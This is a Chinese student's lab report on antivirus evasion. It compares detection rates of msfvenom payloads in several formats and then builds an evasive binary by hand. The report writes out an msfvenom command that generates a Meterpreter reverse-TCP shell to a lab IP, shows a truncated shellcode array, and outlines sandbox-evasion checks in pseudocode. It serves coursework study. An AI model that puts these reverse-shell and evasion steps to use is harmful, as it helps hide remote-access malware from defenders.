20155222卢梓杰 实验三 免杀原理与实践
实验三 免杀原理与实践
1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧
实验步骤如下
-
1.先对实验二中生成的exe进行检测
65款杀毒软件有36款认为不安全
39款杀毒软件有6款认为不安全
what??结果好像有点理想,但是实验还是要尴尬地做下去的 -
2.再试试用msfvenom生成其他格式的文件
-
1.java
首先选择合适的payload
看看测试结果
与exe文件相差无几
?? -
2.jar
-
3.python
-
-
3.veil-evasion
效果很不理想,毕竟是世界知名的产品,早就被AV盯死了
2.通过组合应用各种技术实现恶意代码免杀
很无奈,接下来利用c+shellcode半手工打造恶意代码
-
1.首先在kali中以一个正常的exe文件作为模板生成shellcode数组
msfvenom -p windows/meterpreter/reverse_tcp -x lzj.exe LHOST=192.168.77.138 LPORT=5222 -f c
然后将它拷贝到win7主机的codeblocks中,加几行语句形成如下代码unsigned char met[] = "\xa6\xb2\xd8\x5a\x5a\x5a\x3a\xd3\xbf\x6b\x9a\x3e\xd1\x0a\x6a" ///////省略若干行 "\x99\xe1\xaa\xef\xf8\x0c\x30\x5a\x09\xa5\x8f"; int main() { //执行shellcode }
编译就可以得到一个能够成功回连的exe文件。
然而会被查出来,所以要用如下代码unsigned char met[] = "\xa6\xb2\xd8\x5a\x5a\x5a\x3a\xd3\xbf\x6b\x9a\x3e\xd1\x0a\x6a" ...省略一万字 "\x99\xe1\xaa\xef\xf8\x0c\x30\x5a\x09\xa5\x8f"; int main(int argc, char * argv[]) { //获取当前系统时间 //睡眠20000毫秒 //再次获取当前系统时间 //将两次时间相减看看是否小于19800 //如果小于,可能是AV在检测,停止运行 //如果大于,获取当前进程的内存,如果大于3500000 bytes,可能正在被检测,停止 //如果小于,查看当前文件名是否跟原先一致,若果不一致,停止 //否则解密shellcode、执行shellcode }
就能得到一个免杀的恶意代码了。
4.思考题
- 1.杀软是如何检测出恶意代码的?
1.静态检测,将代码与搜集来的知名度高的恶意代码比较。
2.启发式检测,将代码放到沙箱环境中运行,看是否会生成恶意代码或有恶意行为 - 2.免杀是做什么?
绕过AV的检测 - 3.免杀的基本方法有哪些?
加密shellcode、DLL注入、RunPE 等等